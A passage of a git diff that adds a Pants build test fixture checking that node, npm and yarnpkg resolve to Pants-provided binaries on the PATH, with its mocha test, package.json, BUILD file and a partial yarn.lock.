})\n+})\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/.babelrc b/contrib/node/tests/node/yarnpkg-path-injection/.babelrc\nnew file mode 100644\nindex 000000000..5686105b9\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/.babelrc\n@@ -0,0 +1,3 @@\n+{\n+ \"presets\": [\"latest\"]\n+}\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/.gitignore b/contrib/node/tests/node/yarnpkg-path-injection/.gitignore\nnew file mode 100644\nindex 000000000..3c3629e64\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/.gitignore\n@@ -0,0 +1 @@\n+node_modules\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/BUILD b/contrib/node/tests/node/yarnpkg-path-injection/BUILD\nnew file mode 100644\nindex 000000000..939c4a60a\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/BUILD\n@@ -0,0 +1,12 @@\n+node_module(\n+ name='yarnpkg-path-injection',\n+ sources=globs('package.json', 'yarn.lock', '.babelrc', 'test/*.js'),\n+ package_manager='yarn',\n+)\n+\n+node_test(\n+ name='mocha',\n+ dependencies=[\n+ ':yarnpkg-path-injection'\n+ ]\n+)\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/package.json b/contrib/node/tests/node/yarnpkg-path-injection/package.json\nnew file mode 100644\nindex 000000000..4d9d2166e\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/package.json\n@@ -0,0 +1,18 @@\n+{\n+ \"name\": \"yarnpkg-path-injection\",\n+ \"version\": \"1.0.0\",\n+ \"main\": \"index.js\",\n+ \"scripts\": {\n+ \"test\": \"mocha --compilers js:babel-register\"\n+ },\n+ \"devDependencies\": {\n+ \"babel-cli\": \"^6.24.1\",\n+ \"babel-preset-latest\": \"^6.24.1\",\n+ \"babel-register\": \"^6.24.1\",\n+ \"child-process-promise\": \"^2.2.1\",\n+ \"mocha\": \"^3.2.0\"\n+ },\n+ \"dependencies\": {\n+ \"babel-polyfill\": \"^6.23.0\"\n+ }\n+}\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/test/test.js b/contrib/node/tests/node/yarnpkg-path-injection/test/test.js\nnew file mode 100644\nindex 000000000..a46739f61\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/test/test.js\n@@ -0,0 +1,35 @@\n+/* eslint-env mocha */\n+import 'babel-polyfill'\n+import assert from 'assert'\n+import process from 'process'\n+import ChildProcessPromise from 'child-process-promise'\n+\n+describe('Testing Yarnpkg Path Injection', () => {\n+ describe('Executable Path', () => {\n+ it('should contain \"pants\" when running test in pants', () => {\n+ // This test will not pass outside of pants environment\n+ assert.ok(process.execPath.includes('pants'))\n+ })\n+ })\n+ describe('Node Executable Path', () => {\n+ it('should contain \"pants\"', async () => {\n+ // This test will not pass outside of pants environment\n+ const NodeExecutablePathProcess = await ChildProcessPromise.exec('which node', {encoding: 'utf8'})\n+ assert.ok(NodeExecutablePathProcess.stdout.includes('pants'))\n+ })\n+ })\n+ describe('Npm Executable Path', () => {\n+ it('should contain \"pants\"', async () => {\n+ // This test will not pass outside of pants environment\n+ const NodeExecutablePathProcess = await ChildProcessPromise.exec('which npm', {encoding: 'utf8'})\n+ assert.ok(NodeExecutablePathProcess.stdout.includes('pants'))\n+ })\n+ })\n+ describe('Yarnpkg Executable Path', () => {\n+ it('should contain \"pants\"', async () => {\n+ // This test will not pass outside of pants environment\n+ const NodeExecutablePathProcess = await ChildProcessPromise.exec('which yarnpkg', {encoding: 'utf8'})\n+ assert.ok(NodeExecutablePathProcess.stdout.includes('pants'))\n+ })\n+ })\n+})\ndiff --git a/contrib/node/tests/node/yarnpkg-path-injection/yarn.lock b/contrib/node/tests/node/yarnpkg-path-injection/yarn.lock\nnew file mode 100644\nindex 000000000..f2b61ae1b\n--- /dev/null\n+++ b/contrib/node/tests/node/yarnpkg-path-injection/yarn.lock\n@@ -0,0 +1,1742 @@\n+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.\n+# yarn lockfile v1\n+\n+\n+abbrev@1:\n+ version \"1.1.0\"\n+ resolved \"https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.0.tgz#d0554c2256636e2f56e7c2e5ad183f859428d81f\"\n+\n+ajv@^4.9.1:\n+ version \"4.11.6\"\n+ resolved \"https://registry.yarnpkg.com/ajv/-/ajv-4.11.6.tgz#947e93049790942b2a2d60a8289b28924d39f987\"\n+ dependencies:\n+ co \"^4.6.0\"\n+ json-stable-stringify \"^1.0.1\"\n+\n+ansi-regex@^2.0.0:\n+ version \"2.1.1\"\n+ resolved \"https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df\"\n+\n+ansi-styles@^2.2.1:\n+ version \"2.2.1\"\n+ resolved \"https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe\"\n+\n+anymatch@^1.3.0:\n+ version \"1.3.0\"\n+ resolved \"https://registry.yarnpkg.com/anymatch/-/anymatch-1.3.0.tgz#a3e52fa39168c825ff57b0248126ce5a8ff95507\"\n+ dependencies:\n+ arrify \"^1.0.0\"\n+ micromatch \"^2.1.5\"\n+\n+aproba@^1.0.3:\n+ version \"1.1.1\"\n+ resolved \"https://registry.yarnpkg.com/aproba/-/aproba-1.1.1.tgz#95d3600f07710aa0e9298c726ad5ecf2eacbabab\"\n+\n+are-we-there-yet@~1.1.2:\n+ version \"1.1.2\"\n+ resolved \"https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz#80e470e95a084794fe1899262c5667c6e88de1b3\"\n+ dependencies:\n+ delegates \"^1.0.0\"\n+ readable-stream \"^2.0.0 || ^1.1.13\"\n+\n+arr-diff@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/arr-diff/-/arr-diff-2.0.0.tgz#8f3b827f955a8bd669697e4a4256ac3ceae356cf\"\n+ dependencies:\n+ arr-flatten \"^1.0.1\"\n+\n+arr-flatten@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.0.2.tgz#1ec1e63439c54f67d6f72bb4299c3d4f73b2d996\"\n+\n+array-unique@^0.2.1:\n+ version \"0.2.1\"\n+ resolved \"https://registry.yarnpkg.com/array-unique/-/array-unique-0.2.1.tgz#a1d97ccafcbc2625cc70fadceb36a50c58b01a53\"\n+\n+arrify@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d\"\n+\n+asn1@~0.2.3:\n+ version \"0.2.3\"\n+ resolved \"https://registry.yarnpkg.com/asn1/-/asn1-0.2.3.tgz#dac8787713c9966849fc8180777ebe9c1ddf3b86\"\n+\n+assert-plus@1.0.0, assert-plus@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525\"\n+\n+assert-plus@^0.2.0:\n+ version \"0.2.0\"\n+ resolved \"https://registry.yarnpkg.com/assert-plus/-/assert-plus-0.2.0.tgz#d74e1b87e7affc0db8aadb7021f3fe48101ab234\"\n+\n+async-each@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/async-each/-/async-each-1.0.1.tgz#19d386a1d9edc6e7c1c85d388aedbcc56d33602d\"\n+\n+asynckit@^0.4.0:\n+ version \"0.4.0\"\n+ resolved \"https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79\"\n+\n+aws-sign2@~0.6.0:\n+ version \"0.6.0\"\n+ resolved \"https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.6.0.tgz#14342dd38dbcc94d0e5b87d763cd63612c0e794f\"\n+\n+aws4@^1.2.1:\n+ version \"1.6.0\"\n+ resolved \"https://registry.yarnpkg.com/aws4/-/aws4-1.6.0.tgz#83ef5ca860b2b32e4a0deedee8c771b9db57471e\"\n+\n+babel-cli@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-cli/-/babel-cli-6.24.1.tgz#207cd705bba61489b2ea41b5312341cf6aca2283\"\n+ dependencies:\n+ babel-core \"^6.24.1\"\n+ babel-polyfill \"^6.23.0\"\n+ babel-register \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ commander \"^2.8.1\"\n+ convert-source-map \"^1.1.0\"\n+ fs-readdir-recursive \"^1.0.0\"\n+ glob \"^7.0.0\"\n+ lodash \"^4.2.0\"\n+ output-file-sync \"^1.1.0\"\n+ path-is-absolute \"^1.0.0\"\n+ slash \"^1.0.0\"\n+ source-map \"^0.5.0\"\n+ v8flags \"^2.0.10\"\n+ optionalDependencies:\n+ chokidar \"^1.6.1\"\n+\n+babel-code-frame@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.22.0.tgz#027620bee567a88c32561574e7fd0801d33118e4\"\n+ dependencies:\n+ chalk \"^1.1.0\"\n+ esutils \"^2.0.2\"\n+ js-tokens \"^3.0.0\"\n+\n+babel-core@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-core/-/babel-core-6.24.1.tgz#8c428564dce1e1f41fb337ec34f4c3b022b5ad83\"\n+ dependencies:\n+ babel-code-frame \"^6.22.0\"\n+ babel-generator \"^6.24.1\"\n+ babel-helpers \"^6.24.1\"\n+ babel-messages \"^6.23.0\"\n+ babel-register \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+ babylon \"^6.11.0\"\n+ convert-source-map \"^1.1.0\"\n+ debug \"^2.1.1\"\n+ json5 \"^0.5.0\"\n+ lodash \"^4.2.0\"\n+ minimatch \"^3.0.2\"\n+ path-is-absolute \"^1.0.0\"\n+ private \"^0.1.6\"\n+ slash \"^1.0.0\"\n+ source-map \"^0.5.0\"\n+\n+babel-generator@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-generator/-/babel-generator-6.24.1.tgz#e715f486c58ded25649d888944d52aa07c5d9497\"\n+ dependencies:\n+ babel-messages \"^6.23.0\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+ detect-indent \"^4.0.0\"\n+ jsesc \"^1.3.0\"\n+ lodash \"^4.2.0\"\n+ source-map \"^0.5.0\"\n+ trim-right \"^1.0.1\"\n+\n+babel-helper-builder-binary-assignment-operator-visitor@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz#cce4517ada356f4220bcae8a02c2b346f9a56664\"\n+ dependencies:\n+ babel-helper-explode-assignable-expression \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-call-delegate@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz#ece6aacddc76e41c3461f88bfc575bd0daa2df8d\"\n+ dependencies:\n+ babel-helper-hoist-variables \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-define-map@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-define-map/-/babel-helper-define-map-6.24.1.tgz#7a9747f258d8947d32d515f6aa1c7bd02204a080\"\n+ dependencies:\n+ babel-helper-function-name \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+ lodash \"^4.2.0\"\n+\n+babel-helper-explode-assignable-expression@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz#f25b82cf7dc10433c55f70592d5746400ac22caa\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-function-name@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz#d3475b8c03ed98242a25b48351ab18399d3580a9\"\n+ dependencies:\n+ babel-helper-get-function-arity \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-get-function-arity@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz#8f7782aa93407c41d3aa50908f89b031b1b6853d\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-hoist-variables@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz#1ecb27689c9d25513eadbc9914a73f5408be7a76\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-optimise-call-expression@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz#f7a13427ba9f73f8f4fa993c54a97882d1244257\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-regex@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-regex/-/babel-helper-regex-6.24.1.tgz#d36e22fab1008d79d88648e32116868128456ce8\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+ lodash \"^4.2.0\"\n+\n+babel-helper-remap-async-to-generator@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz#5ec581827ad723fecdd381f1c928390676e4551b\"\n+ dependencies:\n+ babel-helper-function-name \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helper-replace-supers@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz#bf6dbfe43938d17369a213ca8a8bf74b6a90ab1a\"\n+ dependencies:\n+ babel-helper-optimise-call-expression \"^6.24.1\"\n+ babel-messages \"^6.23.0\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-helpers@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-helpers/-/babel-helpers-6.24.1.tgz#3471de9caec388e5c850e597e58a26ddf37602b2\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+\n+babel-messages@^6.23.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-messages/-/babel-messages-6.23.0.tgz#f3cdf4703858035b2a2951c6ec5edf6c62f2630e\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-check-es2015-constants@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz#35157b101426fd2ffd3da3f75c7d1e91835bbf8a\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-syntax-async-functions@^6.8.0:\n+ version \"6.13.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz#cad9cad1191b5ad634bf30ae0872391e0647be95\"\n+\n+babel-plugin-syntax-exponentiation-operator@^6.8.0:\n+ version \"6.13.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz#9ee7e8337290da95288201a6a57f4170317830de\"\n+\n+babel-plugin-syntax-trailing-function-commas@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz#ba0360937f8d06e40180a43fe0d5616fff532cf3\"\n+\n+babel-plugin-transform-async-to-generator@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz#6536e378aff6cb1d5517ac0e40eb3e9fc8d08761\"\n+ dependencies:\n+ babel-helper-remap-async-to-generator \"^6.24.1\"\n+ babel-plugin-syntax-async-functions \"^6.8.0\"\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-arrow-functions@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz#452692cb711d5f79dc7f85e440ce41b9f244d221\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-block-scoped-functions@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz#bbc51b49f964d70cb8d8e0b94e820246ce3a6141\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-block-scoping@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.24.1.tgz#76c295dc3a4741b1665adfd3167215dcff32a576\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+ lodash \"^4.2.0\"\n+\n+babel-plugin-transform-es2015-classes@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz#5a4c58a50c9c9461e564b4b2a3bfabc97a2584db\"\n+ dependencies:\n+ babel-helper-define-map \"^6.24.1\"\n+ babel-helper-function-name \"^6.24.1\"\n+ babel-helper-optimise-call-expression \"^6.24.1\"\n+ babel-helper-replace-supers \"^6.24.1\"\n+ babel-messages \"^6.23.0\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-computed-properties@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz#6fe2a8d16895d5634f4cd999b6d3480a308159b3\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-destructuring@^6.22.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz#997bb1f1ab967f682d2b0876fe358d60e765c56d\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-duplicate-keys@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz#73eb3d310ca969e3ef9ec91c53741a6f1576423e\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-for-of@^6.22.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz#f47c95b2b613df1d3ecc2fdb7573623c75248691\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-function-name@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz#834c89853bc36b1af0f3a4c5dbaa94fd8eacaa8b\"\n+ dependencies:\n+ babel-helper-function-name \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-literals@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz#4f54a02d6cd66cf915280019a31d31925377ca2e\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-modules-amd@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz#3b3e54017239842d6d19c3011c4bd2f00a00d154\"\n+ dependencies:\n+ babel-plugin-transform-es2015-modules-commonjs \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-modules-commonjs@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.24.1.tgz#d3e310b40ef664a36622200097c6d440298f2bfe\"\n+ dependencies:\n+ babel-plugin-transform-strict-mode \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-modules-systemjs@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz#ff89a142b9119a906195f5f106ecf305d9407d23\"\n+ dependencies:\n+ babel-helper-hoist-variables \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-modules-umd@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz#ac997e6285cd18ed6176adb607d602344ad38468\"\n+ dependencies:\n+ babel-plugin-transform-es2015-modules-amd \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-object-super@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz#24cef69ae21cb83a7f8603dad021f572eb278f8d\"\n+ dependencies:\n+ babel-helper-replace-supers \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-parameters@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz#57ac351ab49caf14a97cd13b09f66fdf0a625f2b\"\n+ dependencies:\n+ babel-helper-call-delegate \"^6.24.1\"\n+ babel-helper-get-function-arity \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-template \"^6.24.1\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-shorthand-properties@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz#24f875d6721c87661bbd99a4622e51f14de38aa0\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-spread@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz#d6d68a99f89aedc4536c81a542e8dd9f1746f8d1\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-sticky-regex@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz#00c1cdb1aca71112cdf0cf6126c2ed6b457ccdbc\"\n+ dependencies:\n+ babel-helper-regex \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-plugin-transform-es2015-template-literals@^6.22.0:\n+ version \"6.22.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz#a84b3450f7e9f8f1f6839d6d687da84bb1236d8d\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-typeof-symbol@^6.22.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz#dec09f1cddff94b52ac73d505c84df59dcceb372\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-es2015-unicode-regex@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz#d38b12f42ea7323f729387f18a7c5ae1faeb35e9\"\n+ dependencies:\n+ babel-helper-regex \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ regexpu-core \"^2.0.0\"\n+\n+babel-plugin-transform-exponentiation-operator@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz#2ab0c9c7f3098fa48907772bb813fe41e8de3a0e\"\n+ dependencies:\n+ babel-helper-builder-binary-assignment-operator-visitor \"^6.24.1\"\n+ babel-plugin-syntax-exponentiation-operator \"^6.8.0\"\n+ babel-runtime \"^6.22.0\"\n+\n+babel-plugin-transform-regenerator@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.24.1.tgz#b8da305ad43c3c99b4848e4fe4037b770d23c418\"\n+ dependencies:\n+ regenerator-transform \"0.9.11\"\n+\n+babel-plugin-transform-strict-mode@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz#d5faf7aa578a65bbe591cf5edae04a0c67020758\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+\n+babel-polyfill@^6.23.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-polyfill/-/babel-polyfill-6.23.0.tgz#8364ca62df8eafb830499f699177466c3b03499d\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ core-js \"^2.4.0\"\n+ regenerator-runtime \"^0.10.0\"\n+\n+babel-preset-es2015@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz#d44050d6bc2c9feea702aaf38d727a0210538939\"\n+ dependencies:\n+ babel-plugin-check-es2015-constants \"^6.22.0\"\n+ babel-plugin-transform-es2015-arrow-functions \"^6.22.0\"\n+ babel-plugin-transform-es2015-block-scoped-functions \"^6.22.0\"\n+ babel-plugin-transform-es2015-block-scoping \"^6.24.1\"\n+ babel-plugin-transform-es2015-classes \"^6.24.1\"\n+ babel-plugin-transform-es2015-computed-properties \"^6.24.1\"\n+ babel-plugin-transform-es2015-destructuring \"^6.22.0\"\n+ babel-plugin-transform-es2015-duplicate-keys \"^6.24.1\"\n+ babel-plugin-transform-es2015-for-of \"^6.22.0\"\n+ babel-plugin-transform-es2015-function-name \"^6.24.1\"\n+ babel-plugin-transform-es2015-literals \"^6.22.0\"\n+ babel-plugin-transform-es2015-modules-amd \"^6.24.1\"\n+ babel-plugin-transform-es2015-modules-commonjs \"^6.24.1\"\n+ babel-plugin-transform-es2015-modules-systemjs 